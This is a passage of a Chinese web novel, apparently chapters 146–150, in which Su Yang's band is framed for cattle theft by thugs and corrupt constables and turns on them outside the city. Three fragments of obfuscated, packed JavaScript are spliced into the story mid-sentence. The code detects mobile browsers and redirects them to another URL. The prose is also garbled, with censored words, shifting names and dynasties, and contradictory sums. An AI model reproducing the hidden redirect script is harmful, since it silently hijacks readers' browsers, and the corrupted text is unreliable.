只是苏阳还不知道,他要对付的肥掌柜,这段日子过得比他还惨……肥掌柜觉得自己已经**。 虽然他还喘着气,能吃饭,能睡觉,但他知道,自己和**没什么区别。 家产被夺,妻妾被辱,儿子被掳,自由被禁…… 这样的日子,比杀了他还难受。 他现在唯一能做的,就是像条狗一样,对那些霸占他一切的土匪摇尾乞怜。 青虎岭的土匪,已经彻底控制了凤子楼,连带着他的家,也成了土匪窝。 顾明远,那个被称为“醉墨书生”的男人,是这一切的始作俑者。 肥掌柜只要一想起这个名字,就忍不住浑身发抖。 他永远忘不了,顾明远是如何轻描淡写地,就决定了他侄子熊千秋和伙计凌二的死。 那种冷酷,那种漠然,让肥掌柜明白,自己在他眼里,恐怕连只蚂蚁都不如。 店主的三个崽,成了悬在他头顶的达摩克利斯之剑。 只要他稍有异动,这把剑就会毫不留情地斩下。 绝望,无边的绝望。 肥掌柜觉得自己就像是溺水的人,越是挣扎,就陷得越深。 北门里的豪宅,曾经是他骄傲的资本。 五进的大院,精美的雕饰,无不彰显着他的财富和地位。 可现在,这里却成了他的噩梦。 那些曾经对他卑躬屈膝的妻妾和仆人,如今都成了顾明远和他手下那帮畜生的玩物。 他甚至不敢去看他们的眼睛,因为他怕从那里看到绝望和怨恨。 肥掌柜无数次地问自己,当初为什么要鬼迷心窍,去招惹苏阳? 如果不是为了那两千两银子,他也不会落到今天这个地步。 他现在才明白,什么叫“贪小便宜吃大亏”。 只是,这“大亏”未免也太大了些。 …… 符福家,弥漫着淡淡的药草味。 苏阳告辞离开时,符福夫妇坚持要送,感激之情溢于言表。 符大娘子更是热情得有些过分,拉着苏阳的袖子不放,非要留他吃饭: “小虎,您好不容易来一趟,奴家怎能让您饿着肚子回去?” “这要是传出去,还不让人笑话奴家不懂规矩?” 她声音软糯,眼神中带着几分恳求。 苏阳被她这一声声“奴家”叫得浑身不自在,只觉得头皮发麻。 他哪里懂晋朝女子的那些弯弯绕,还以为这小娘子在故意撩拨他,赶紧寻了个借口开溜。 几个小子跟在苏阳身后,一个个憋着笑,肩膀一耸一耸的。 苏阳的狼狈样,他们可是看得一清二楚。 平时天不怕地不怕的阳哥儿,今天竟然被一个女人吓成这样,真是稀奇。 “不会真有啥事吧?” 几个人交换着眼神,心里暗自猜测。 苏阳可没心思理会他们的八卦,他现在满脑子都是正事。 到了铁匠铺,里面静悄悄的,只有一堆刚打好的农具。 苏阳有些不悦: “掌柜的,兵器呢?怎么还没打出来?” “这才几天?你当是变戏法呢?” 掌柜的连头都没抬,依旧忙活着手里的活计。 “得,算我没说。” 苏阳碰了一鼻子灰,知道这事急不得。 “这样,掌柜的,你这铺子也别守着了,跟我去青龙村吧,保证你挣得比现在多!” 他还是不死心,想把这铁匠挖走。 “青龙村?算了吧,我可不想去那地方喝西北风。” 掌柜的终于抬起头,瞥了苏阳一眼,语气里满是不 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“不会是有什么问题吧?” 苏阳心中疑惑。 他虽然不懂养牛,但也知道,这个价格绝对不正常。 正常情况下,一辆牛车,至少也得十多两银子。 孔远山这次买的可是三头麻勇,外加一架车,怎么也得三十两往上。 这中间的差价,可不是一个小数目。 孔远山见苏阳面露疑色,心里顿时有些慌了。 他还指望着苏阳夸他几句呢,可不想被当成**犯。 “阳哥儿,你放心,这牛绝对没问题!” “我可是找了牙行里最有名的老孔生给掌的眼!” “老孔生说了,这牛要是有一点毛病,他包赔!” 孔远山信誓旦旦地保证道。 苏阳没有说话,只是绕着那几头牛转圈,眼神锐利,似乎要从它们身上看出什么端倪来。 几个小子见状,也纷纷围了上来,学着苏阳的样子,对着几头牛指指点点。 只是他们哪里懂这些,看了半天,看了半天也是一脸懵。 苏阳虽然看不出具体的问题,但他心里总觉得有些不安。 第一百四十六章 这种不安,来自于他对人性的了解。 无事献殷勤,非奸即盗。 这么便宜的买卖,背后肯定有猫腻。 他决定,还是小心为上。“把牛留下!你们这帮偷牛贼!” 一阵嘈杂的叫嚷,打破了这片刻的僵持。几个人影如同几只被惹**的公牛,横冲直撞地奔了过来。 领头的三个,穿着打扮和寻常百姓没啥两样,只是脸色一个比一个难看,像是谁欠了他们八百吊钱没还似的。后头跟着俩差役,制服皱巴巴的,脚下却生风,一步并作两步地赶了上来。 “说!是不是你们偷了牛?” 两个差役眼睛不是眼睛,鼻子不是鼻子,连珠炮似的发问,唾沫阳子都快喷到苏阳脸上了。那架势,不像是在查案,倒像是在审问**放火的重犯。 这话一出口,原本就乱哄哄的场面,更是像开了锅的水,一下子沸腾起来。 四周围观的人群,交头接耳,窃窃私语,看向苏阳这帮人的眼神,也变得不善起来。 这年头,耕牛可是宝贝疙瘩。 寻常人家,谁不是把牛当成命根子一样护着? 毫不夸张地说,这牛就是一家老小的指望,比什么都金贵! 光天化日之下偷牛? 这简直比刨人祖坟还可恨! 要知道,这年月可没什么“正当防卫”的说法,抓着贼人,大伙一拥而上,乱棍打死,官府都不会多说一句废话。 人群中,几个膀大腰圆的汉子,挽起袖子,摩拳擦掌,嘴里骂骂咧咧的,眼瞅着就要冲上来动手。 苏阳不动声色地扫了一眼自家这帮兄弟。 只见一张张年轻的脸庞上,神情各异。 有的脸红脖子粗,攥紧了拳头,一副要跟人干架的模样;有的则一脸茫然,手足无措,显然还没搞清楚状况;还有几个低着头,一副做贼心虚的样子;最可气的,是那几个怒视孔远山的,眼神恨不得把他给生吞活剥了。 苏阳暗自叹息,心想: “自己这都什么命啊!怎么就摊上这么一帮不开窍的玩意儿?啥时候才能把他们给调教出来?” 再看孔远山,整个人都麻了。 一张脸煞白煞白的,像是见了鬼似的。 他瞪大了眼睛,张大了嘴巴,一副活见鬼的表情,仿佛在说:“这……这不可能!” 苏阳心里却乐开了花。 让你小子平时总觉得自己聪明,喜欢占小便宜。 这下好了,踢到铁板了吧! 看你以后还敢不敢自作聪明! “我……我没有!” 孔远山终于找回了自己的声音,却带着哭腔。 他指着那几个气势汹汹的“失主”,声音都劈叉了: “这牛……这牛是我花钱买的!怎么就成偷的了?” “买的?” 为首的一个汉子冷笑一声,鼻子都快翘到天上去了。 他下巴一抬,示意孔远山拿出证据: “你有字据吗?拿出来给大伙儿过过目!” “字据……” 孔远山顿时哑口无言。 他嘴唇哆嗦着,想说点什么,却又什么都说不出来,像是被人扼住了喉咙。 “是……是你们……” 孔远山急得直跺脚,额头上渗出了细密的汗珠, “是你们说家里有人病重,急着用钱,这才……这才没来得及立字据……” “放屁!” 那汉子压根不给他解释的机会,直接打断了他的话, “谁家卖牛不立字据?你当我们都是三岁小孩儿?偷就是偷,少在这儿狡辩!” “你……你们血口喷人!” 孔远山气得浑身发抖,脸色由白转青,眼瞅着就要背过气去。 两个差役交换了一个眼神,其中一个皮笑肉不笑地开口了: “既然你说不清楚,来都来了,一起呗!” 话音未落,一条乌黑的锁链,带着“哗啦啦”的声响,直奔孔远山的脖颈而去。 孔远山正忙着跟那几个“苦主”理论,哪想到差役会来这一手? 他毫无防备,瞬间就中了圈套! 这俩差役常年干这行当,手上功夫自然不差。 用锁链套人,那可是他们的看家本领,别说是人了,就是一头犟牛,被这锁链一套,也得乖乖就范! 锁链上身,孔远山顿时就蔫了,整个人像是被抽掉了骨头似的,浑身没了力气。 他轻飘飘地一扯,孔远山就身不由己地往前跌跌撞撞地走了几步,险些摔倒。 “放开他!” “不准抓人!” 苏阳手下的小子们这才如梦初醒,纷纷大吼着冲了上来。 几个离得近的,想都不想,就抄起手中的棍棒 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在苏阳面前,他更是觉得自己低人一等。 为了改变这种状况,林韧没少动脑筋。 他发现,苏阳对陈木生格外器重。 于是,林韧开始暗中观察陈木生,想找出其中的奥秘。 经过一番仔细的研究,林韧总结出了几条“成功秘诀”: 首先,要紧跟苏阳的步伐,苏阳说啥就是啥,绝不能阳奉阴违! 其次,要坚决执行苏阳的命令,苏阳让干啥就干啥,绝不能拖泥带水! 最后,也是最重要的一点,千万别自作聪明! 看看孔远山,就是个活生生的反面教材! 自以为是,结果呢? 还不是搬起石头砸了自己的脚! 在林韧看来,孔远山根本就没那么好心,什么“同情对方家里有人生病”,纯粹是扯淡! 他就是看中了这几头牛便宜,想占个大便宜! 所以才急急忙忙地跟人做了交易,连字据都顾不上立! 可不管怎么说,大家都是一个团队的,总不能眼睁睁地看着自家兄弟被官差抓走吧? 苏阳平时总说啥来着? 第一百四十七章 哦,对了,“团队精神”! 为了团队,为了兄弟,也为了自己的尊严,林韧豁出去了! “你们……你们这是要**啊!” 两个差役气得七窍生烟。 其中一个伸手一甩,又是一条锁链飞出,直奔周阳的脖子而去。 周阳早有准备,眼疾手快,手中的棍棒一挥,“啪”的一声,将锁链格挡开来。 “好小子,竟敢还手!” 那差役见一击不成,顿时恼羞成怒。 他从腰间抽出一把寒光闪闪的铁尺,照着周阳的脑袋就劈了下来! 这铁尺可不是闹着玩的,虽然没有开刃,但要是被它砸中,不死也得重伤! 周阳不敢怠慢,手中的木棒一抡,“当”的一声,与铁尺撞在了一起。 林韧和周阳并肩作战,见周阳都动手了,他自然也不甘落后。 只见他双手握住木棒,将木棒当成标枪一般使,狠狠地刺向了那名动手的差役! 这一下又快又狠,那差役猝不及防,被捅了个正着,顿时疼得“嗷”的一声惨叫,捂着肚子蹲在了地上。 旁边几个小子见林韧都动手了,也纷纷加入了战团。 他们大吼一声,挥舞着手中的棍棒,朝另一个差役扑了过去。 “哎哟,我的老天爷……” “这帮兔崽子,是吃了熊心豹子胆了?” “敢跟官差动手,他们不要命了?” “大家快来看啊,有人打官差了!” “……” 围观的百姓们被这突如其来的一幕给惊呆了,一个个张大了嘴巴,瞪圆了眼睛,像是看到了什么不可思议的事情。 他们议论纷纷,说什么的都有,但更多的是震惊和不解。 在他们看来,这帮小子简直是疯了,竟然敢跟官差动手,这跟找死有什么区别?人群中,苏阳一直抱着膀子,像个局外人似的看戏。 他想瞧瞧,这帮小子在没有自己插手的情况下,能把事情搞成什么样子。 谁知道,没一会儿,火就烧到了他这个“观众”的头上。 两个差役被一群拿着棍棒的小子逼得进退两难,却又不敢乱来。 真要动起手来,要是被打得满脸开花,就算事后能找回场子,这脸面也丢光了。 衙役在清阳县可以为所欲为,靠的就是个“威”字。 要是当街被人打了,以后谁还怕他们? 随便来几个地痞流氓都能骑到他们头上拉屎撒尿! 其中一个差役眼珠子一转,和同伴交换了一个眼神,决定先避开周阳和林韧这两个刺头,转头看向一直没吭声的苏阳,想从他这里打开局面: “喂,那边那个小子,你笑啥呢?瞧不起我们哥儿俩是不是?” 苏阳嘴角一勾,露出一个玩味的笑容:“你们自己说呢?” 两个差役一看到苏阳这副苏淡风轻的样子,心里就“咯噔”一下。 这小子,看起来比那两个愣头青还难缠啊! 要是早知道他们人这么多,说什么也不会来…… 先前听那三个泼皮说逮着几只肥羊,他们连想都没想就屁颠屁颠地跑来了。 现在一看,这算什么大鱼大肉,简直就是一群披着羊皮的狼崽子! 真**晦气! 两个差役心里这个后悔啊,恨不得把那三个不长眼的泼皮抓过来狠狠揍一顿。 你们也不看看清楚,这帮小子个个手里拎着家伙,一副凶神恶煞的样子,像能随便宰的肥羊吗? 尤其是苏阳,那眼神,那表情…… 其中一个差役感觉自己像被一条毒蛇盯上了似的,浑身不自在。 就算衙门里的那些师爷,也没这么……让人心里发毛。 虽然说不清楚到底是什么感觉,但当差这么多年,看人的本事他们还是有几分的。 只可惜,现在是骑虎难下。 那几头牛已经贱卖出去了,要是不能把银子弄回来,这损失可就大了去了。 就在两个差役犹豫不决的时候,苏阳突然开口了: “两位,有话直说别藏着掖着。” 苏阳的语气很平静,听不出喜怒: “今儿个这事,你们也算是撞到我手里了。我这人呢,心肠软,最见不得别人吃亏。” 他顿了顿,目光在两个差役身上扫了一圈: “这样吧,我给你们指条道儿,你们从哪儿来,就回哪儿去。今儿个这事,我就当没发生过。” 两个差役听了,脸色一变,惊疑不定地对视一眼。 这小子果然早就看穿了一切! 他这是给台阶下呢,不想把事情闹大。 可那几个假扮受害人的泼皮却没这份眼力见,见两个差役没反应,还以为他们怕了,立马跳出来咋呼:35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16029754|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你们这群偷鸡摸狗的,都被我们抓现行了,还敢在这儿装模作样!” “乡亲们,你们评评理,见过这么不要脸的贼吗?” 领头的泼皮更是指着苏阳他们的鼻子,破口大骂: “还有你们几个,光天化日之下,竟敢跑到我们清阳县来撒野,真当我们清阳县没人了吗?” 他这一嗓子嚎出去,周围的百姓却没几个搭腔的。 大伙儿又不是傻子,看了这么半天热闹,再加上有几个认识这几个泼皮的在人群里小声嘀咕,早就猜出了个大概。 眼下见这几个所谓的“失主”一个个凶相毕露,说话也粗俗不堪,更没人愿意掺和进来了。 一群混子叽叽歪歪好久,应者寥寥,场面顿时变得有些尴尬。 两个差役一看这情形,心里更慌了。 其中一个差役眼珠子一转,当机立断,决定先撤: “呸,跟你们这帮乡巴佬费什么话!” 他狠狠地瞪了苏阳一眼: “今儿个算你们走运,老子懒得跟你们计较!把牛还给他们,这事儿就算完了!” 说着,他弯下腰,三两下解开了孔远山脖子上的锁链。 “哟呵……” 苏阳眉毛一挑,笑了: “行啊,要什么给什么别墨迹。” 他故意拖长了声音,慢悠悠地说道: “不过嘛……” “不过什么?” 两个差役见苏阳服软,顿时又来了精神。 其中一个甚至在心里暗骂自己没用: 这小子这么不禁吓,早知道就该狠狠敲他一笔! 另一个差役也是一脸的懊悔,感觉自己好像错过了几个亿。 苏阳笑眯眯地看着他们: “既然牛还给你们了,那你们拿走的那些银子,是不是也该还回来了?” “什么银子?” 两个差役一时没反应过来。 “当然是买牛的银子了。” 苏阳一脸理所当然: “足足四十两呢!” “啥?四十两?!” 两个差役差点没跳起来,八只眼睛齐刷刷地瞪向了那三个泼皮。 好家伙,你们竟敢骗老子! 四十块说成一十五,胆儿肥了啊! 三个泼皮也没想到苏阳会来这么一手,顿时傻眼了。 第一百四十八章 他们平时坑蒙拐骗,没想到今天竟然被人给反将了一军! 明明是二十两,这小子竟然敢说是四十两,简直比他们还黑! “你……你胡说八道!” 领头的泼皮气急败坏,指着苏阳的鼻子大骂: “实际才二十……不对,是十五两!” “你竟然敢讹我们,简直是无法无天!” 苏阳这回是真的被逗乐了,忍不住哈哈大笑起来。 看来自己没猜错,这三个泼皮果然私吞了五两银子。 孔远山明明给了他们二十两,他们却跟官差报了十五两。 这几个泼皮的谎言,彻底激怒了两个差役。 原本还想着息事宁人,现在看来,这事儿没那么容易了结! 其中一个差役恶狠狠地啐了一口: “他奶奶的,给脸不要脸!” 另一个差役也阴沉着脸,从腰间抽出了锁链: “跟他们废什么话?直接抓回衙门,看他们还敢不敢嘴硬!” 既然撕破了脸,那就没什么好顾忌的了。 能拿出这么多银子买牛,这帮人肯定还有油水可榨! 想到这里,两个差役的眼睛里都冒出了贪婪的光芒。 原本只是想吓唬吓唬他们,捞点好处就走人。 现在看来,必须得把这帮人带回衙门,好好“伺候”一番! “慢着!” 就在差役准备动手的时候,苏阳突然开口了: “两位,咱们有话好好说嘛,何必动粗呢?” 差役见苏阳似乎怕了,其中一人把玩着手里的锁链,冷笑道: “怎么,现在知道怕了?想让我们放过你们也不是不行……” 他故意停顿了一下,扫视了一圈苏阳等人,接着说道: “先老实交代,你们到底偷了人家多少头牛?” 苏阳不慌不忙地摇了摇头: “我们没偷牛。” “没偷牛?” 差役冷笑一声: “没偷牛他们会冤枉你们?没偷牛你会乖乖给他们银子?” 他指着那几个泼皮,语气强硬: “识相的,就赶紧赔偿人家的损失,否则,就别怪我们不客气了!” 苏阳依旧不紧不慢: “赔偿?赔多少?” 见苏阳软下来,两个差役对视一眼,都从对方眼中看到了得意。 其中一个伸出五根手指: “五……不,十……五十两!少一个子儿都不行!”“五十两?” 苏阳还没来得及搭话,他身后那群半大小子先炸开了锅,一个个脖子梗得像斗鸡,脸红脖子粗。 “**,你们咋不去抢?当我们是傻子?” “狮子大开口!真以为我们好欺负?” “呸,有种就来硬的,看爷爷们怕不怕!” 少年们气势汹汹,一步步逼近牛车,拳头攥得咯吱作响,指节发白。那架势,明摆着随时准备从牛车上抄家伙,跟这帮人拼命。 苏阳将手背在身后,轻轻摇了摇,让他们别急躁。 他缓缓转过头,盯着那两个差役,眼神波澜不惊,语气却透着一股子寒气:“两位差爷,要是我不给这银子,又待如何?” 两个差役对视一眼,从彼此眼中看到了轻蔑与玩味。 “你可以试试。”其中一个差役冷冷地吐出几个字,像是在看一只垂死挣扎的蚂蚁。 另一个则狞笑着补充:“不过我保证,你会后悔来到这世上,哭着喊着求爷爷告奶奶!” 几个泼皮也跟着起哄,污言秽语像连珠炮似的,突突个不停: “小子,识相的就赶紧掏钱!” “不然,到时候有你哭鼻子的时候!” “让你后悔来到这世上,全家都不得好死,哈哈哈!” 苏阳的眼底闪过一丝不易察觉的寒芒,仿佛有冰冷的刀锋在瞳孔深处闪烁。 爹娘是他心中最柔软的地方,也是他的逆鳞。无论是前世的父母,是这辈子的亲生父母,谁敢辱及他们,他苏阳绝不轻饶! “两位差爷,一百两银子,我不是拿不出来。” 出乎意料的,苏阳的语气突然一转,似乎软了下来,但又带着一丝让人捉摸不透的意味。 “给你们一个薄面,给他们也无妨,只不过……”他故作为难地顿了顿,眼神闪烁。 两个差役一听这话,眼睛瞬间亮得像灯笼,贪婪的光芒毫不掩饰:“不过什么?” 苏阳挠了挠头,装出一副憨厚的样子,期期艾艾地说:“不瞒二位差爷,小的……小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16029755|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的胆子小,怕路上出事,进城之前,让两个兄弟把银子先……先藏起来了。” 两个差役交换了一个眼神,彼此都从对方眼中看到了了然,还带着一丝得意。 “这有啥难的?随便叫个人取来不就得了?”其中一个差役不耐烦地挥了挥手,仿佛在驱赶一只烦人的苍蝇。 苏阳嘿嘿一笑,露出一副憨态可掬的样子,声音却压得很低:“二位差爷有所不知,我……我信不过别人。进城之前,我和那俩兄弟约好了,除了我,谁去都不好使。” “没见过世面的土包子,一百两银子就把你吓成这样……”另一个差役忍不住出言嘲讽,语气中充满了鄙夷,嘴角都快咧到耳根子了。 苏阳突然神秘兮兮地凑近了些,压低声音道:“两位差爷,其实……其实不是一百两,是……二百两。” 他边说边伸出两根手指头,在两个差役眼前晃了晃,脸上写满了“快来夸我”的表情。 “咝……” 两个差役倒吸一口凉气,眼珠子都快瞪出来了,贪婪的光芒几乎要化为实质。 “那还愣着干啥?赶紧去拿啊!”其中一个差役急不可耐地催促,声音都有些变了调,口水都快流到下巴上了。 二百两,这可不是一笔小数目,在清阳县城里买两套像样的宅子都绰绰有余! 苏阳的脸上露出为难的神色,搓着手,吞吞吐吐地说:“二位差爷,实不相瞒,我这人……胆子小如鼠,这么多银子,一个人去拿,心里……心里打鼓啊。要不……您二位行行好,让小的带几个兄弟壮壮胆?” 两个差役不屑地撇了撇嘴,心中暗骂: “放屁!想得美!让你们都出城,万一你们脚底抹油,溜之大吉,我们找谁哭去?” “门儿都没有!万一你们跑了,我们上哪儿说理去?”其中一个差役毫不犹豫地拒绝,语气斩钉截铁,没有丝毫商量的余地。 “差爷放心,我们保证不跑!要不……要不把牛车押在这儿,总行了吧?”苏阳一脸焦急,似乎生怕对方不同意,恨不得立马就出城。 两个差役见状,心中更加笃定苏阳是想借机开溜。 跟二百两银子比起来,这几辆破牛车算个屁! “不行,最多带俩跟班!”另一个差役态度强硬,语气不容置疑。 第一百四十九章 “中!就带俩!”苏阳几乎是跳起来答应的,脸上的笑容灿烂得像朵花。 他猛地转身,指着人群中的两人,大声喊道:“孔远山,路旭东,你俩跟我走!其他人原地待命,没我的命令,谁也不许动!听明白了吗?” 说完,他头也不回地就走,那急切的样子,仿佛身后有鬼在追他。 两个差役见苏阳这副猴急的模样,心里反而起了疑窦: 这小子这么急着走,该不会是想耍什么花招,打算一去不回吧? 其中一个差役猛地一拍大腿,像是突然想明白了什么: “**,差点儿上了这小子的当!想跑?没那么容易!” 几辆破牛车,几个毛头小子,在二百两银子面前,连根**都算不上! 这年头,大元朝最不缺的就是人。 有了银子,还愁找不到人干活? 想到这里,两个差役对视一眼,都从对方眼中看到了贪婪和狡黠。 他们一个箭步冲上去,拦住了苏阳的去路:“慢着,我们跟你一块儿去!” “啊?”苏阳一脸惊讶,像是被吓了一跳,他瞪大了眼睛,结结巴巴地说:“这……这怎么好意思?小的……小的怎么能麻烦二位差爷呢?” 那俩衙役心里还在打鼓,现在一看苏阳这副惊慌失措的样子,心里顿时踏实了。 “有什么不好意思的?为老百姓办事,那是我们的职责所在!”其中一个差役大义凛然地说着,还顺手拍了拍旁边一个泼皮的肩膀,“哥几个,你们说,是不是这个理儿?” “对对对!两位差爷说得太对了!” “两位差爷就是我们清阳县的父母官、守护神!” “要不是有两位差爷罩着,我们……我们哪儿能过上好日子……” …… 一群人浩浩汤汤,在一众吃瓜群众或惊讶、或鄙夷、或幸灾乐祸的目光注视下,朝着西城门的方向走去。 人群渐渐散去,议论声却并未停止,像夏日里嗡嗡的蚊蝇,在空气中回荡。 “这小伙子看着挺机灵的,咋这么不开窍呢?” “可不是咋的,人家本想要百两银子,他倒好,把秘密全都爆出来了,这不是自找苦吃吗?” “唉,一看就是乡下来的,没见过啥世面,这么简单的局都看不明白,真是够蠢的。” “对了,刚才那两个黑心的差役叫啥来着?回头得跟亲戚朋友都说道说道,以后见他们绕道走,可别沾上晦气!” …… 人群之中,有两个熟人认出了苏阳。 一个是之前卖给苏阳半篮子干果蜜饯的孙玉哥。 他望着苏阳一行人远去的背影,轻轻摇了摇头,眼神中流露出一丝惋惜: 唉,又少了一个大主顾。 看来以后想多赚点儿钱,只能指望多遇到几个像他这样爽快的客人了。 另一个,则是符福的一个街坊。 他看着苏阳远去的背影,嘴角勾起一抹猥琐的笑容,眼中闪烁着不怀好意的光芒: 嘿嘿,这下有好戏看了,符福的亲戚倒了大霉,老子又有机会去勾搭他的小娘子了! …… 出了西城门,苏阳手下有几个小子还有点懵,一个个摸不着头脑: 咋回事?银两不都在大车上放着呢吗? 啥时候放到城外去了? 让这俩小弟提着?这俩小弟哪冒出来的? 我们咋一点儿都不知道? 难道……是阳哥儿早就安排好了? …… 有反应慢的,自然也有反应快的。 人群里,孔远山、路旭东、周阳几人交换了一个眼神,彼此都从对方眼中看到了了然和一丝不易察觉的兴奋。 他们都是跟着苏阳出生入死的老人了,这点门道还能看不出来? 只是…… 孔远山下意识地摸了摸腰间,那里藏着一把**,那是他防身的家伙。 他的手心微微有些出汗,心跳也有些加速。 以往对付的都是些土匪流寇,这次可是要跟官差动手,性质可就完全不一样了! 路旭东则显得有些紧张,他不停地吞咽着口水,眼神中既有兴奋,也有担忧。 周阳倒是相对镇定,他微微眯起眼睛,目光扫过身边的同伴,心中暗暗盘算着。 苏阳察觉到手下不少小子脸色发白,额头上渗出细密的汗珠,他自己的心里也不禁微微有些紧张。 这可不是闹着玩的,稍有不慎,就会万劫不复! 可是,明知山有虎,偏向虎山行。 有些事情,他不得不做!“出城了?还走?” 其中一个官差眉头紧锁,语气不善。 另一个没说话,只是加快了脚步,和同伴一起把苏阳夹在了中间。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16038432|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他们可不是来郊游的。 大冷的天,跑这么远,要是扑了个空,那才叫一个亏呢! 不过,他们还是低估了事情的严重性。 在他们眼里,苏阳这帮人就是一群乡巴佬,根本不足为惧。 平时作威作福惯了,哪会想到自己也有翻船的一天? 几个泼皮更是没把苏阳放在眼里,他们只关心自己能分到多少银子。 至于怎么分,那就得看谁更会演戏了。 “差爷,您就行行好,别再往前走了,我这腿都快断了!” 一个泼皮突然哭丧着脸,一屁股坐在了地上。 “再走下去,小的这条命可就交代在这儿了!” 另一个泼皮见状,也跟着演了起来。 “哎哟喂,我的亲娘啊,这大冷的天,这是要活活冻死我啊!” 他一边喊着,一边还用手捶打着自己的胸口,装出一副快要喘不上气来的样子。 剩下的那个泼皮也不甘示弱,直接躺在地上打起了滚。 “哎哟!哎哟!我不行了!我要**!” 三个泼皮的拙劣演技,把两个官差看得一愣一愣的。 他们互相交换了一个眼神,都从对方的眼中看到了一丝不耐烦。 “行了,行了,都别装了!” 其中一个官差不耐烦地挥了挥手。 “赶紧起来,带我们去找银子!” 另一个官差则把目光转向了苏阳。 “小子,你最好别耍花样,不然有你好看的!” 苏阳一脸无辜地看着两个官差,仿佛受了天大的委屈。 “差爷,我哪敢啊!我说的都是实话!” 他指着前方,信誓旦旦地说: “就在前面,真的不远了!” 两个官差将信将疑地往前走了几步,却什么也没看见。 “小子,你耍我们呢?” 其中一个官差的脸色顿时阴沉了下来。 “再敢胡说八道,小心我抽你!” 另一个官差也恶狠狠地瞪着苏阳。 苏阳连忙摆手,解释道: “差爷息怒,差爷息怒!我真没骗你们!” 他指着远处的一片小树林,说道: “看见那片树林了吗?就在那里!” 众人顺着他手指的方向望去,果然隐约看到一片树林。 第一百五十章 不过,距离似乎还有些远。 “你确定?” 一个官差眯起了眼睛,语气中充满了怀疑。 “我怎么会让人把银子放在那种鬼地方?” 另一个官差也觉得有些不可思议。 大冬天的,树叶子都掉光了,一眼就能望到头,谁会把银子藏在那里? 苏阳嘿嘿一笑,露出一副憨厚的表情: “差爷,您有所不知,这叫‘灯下黑’!” 他压低了声音,神秘兮兮地说: “越是看起来不可能的地方,就越安全!” 两个官差听了,面面相觑。 这话听起来……好像有那么几分道理。 可他们还是觉得有些不放心。 “不行,你得让我们的人先进去看看!” 其中一个官差说道。 “对,让他们先进去探探路!” 另一个官差也附和道。 苏阳心中暗喜,但脸上却装出一副为难的样子: “这……这不太好吧?” 他吞吞吐吐地说: “万一他们……” “少废话!” 一个官差不耐烦地打断了他。 “让你的人进去就进去,哪来那么多废话?” 另一个官差则直接指着那三个泼皮,命令道: “你们几个,进去看看!” 三个泼皮你看看我,我看看你,谁也不敢违抗,只得硬着头皮往树林里走去。 苏阳暗中松了一口气。 他知道,自己的计划已经成功了一半。 只要这三个泼皮进了树林,那就由不得他们了! 他回头看了一眼自己带来的那些人。 孔远山正朝他微微点头。 路旭东则紧紧地握着拳头,手心里全是汗。 周阳倒是还算镇定,只是眼神比平时更加锐利。 还有几个小子,虽然脸上还带着一丝茫然,但也都下意识地握紧了手中的家伙。 苏阳知道,是时候了。 他深吸一口气,猛地转过身,朝着那两个官差大喊一声: “动手!” 话音未落,他已经率先冲了上去。 两个官差还没反应过来,就被苏阳一拳打倒在地。 紧接着,孔远山、路旭东、周阳等人也一拥而上,和两个官差扭打在一起。 一时间,场面一片混乱。 “哎哟!疼死我了!” “别打了!别打了!” “救命啊!” 两个官差被打得鬼哭狼嚎,毫无还手之力。 那三个泼皮刚走进树林,就听到外面的动静。 他们吓得魂飞魄散,转身就想跑。 可还没跑出几步,就被苏阳事先安排好的人给拦住了。 “别让他们跑了!” 苏阳大喊一声。 几个小子一拥而上,把三个泼皮按倒在地,一顿拳打脚踢。 “哎哟!别打了!我们是自己人!” 一个泼皮被打得鼻青脸肿,连忙大声求饶。 “自己人?呸!” 苏阳啐了一口。 “你们这帮见利忘义的狗东西,也配叫自己人?” 他走到那个泼皮面前,一脚踩在他的胸口上。 “说!你们把我们出卖给官差,到底是为了什么?” 那个泼皮疼得龇牙咧嘴,连忙说道: “好汉饶命!好汉饶命!我们也是被逼的啊!” “是他们!是那两个官差逼我们这么做的!” “他们说,如果我们不把你们供出来,就要把我们抓进大牢!” “我们也是没办法啊!” 苏阳冷哼一声,说道: “少跟我来这套!” “你们这帮家伙,平时就没少干坏事!” “今天落到我手里,算你们倒霉!” 说完,他一挥手,示意手下的人把这三个泼皮给绑起来。 “把他们带回去,好好审问!” 苏阳对手下的人说道。 “是!” 几个小子答应一声,押着三个泼皮就往回走。 苏阳则走到那两个被打得奄奄一息的官差面前。 “说吧,你们还有什么遗言?” 他冷冷地问道。 两个官差吓得浑身发抖,连话都说不出来了。 “好汉饶命!好汉饶命!” 其中一个官差挣扎着说道。 “我们再也不敢了!求求你放过我们吧!” 另一个官差也连忙磕头求饶。 苏阳看着这两个贪生怕死的家伙,心中一阵厌恶。 他原本还想从这两个家伙口中问出一些有用的信息,但现在看来,是没什么希望了。 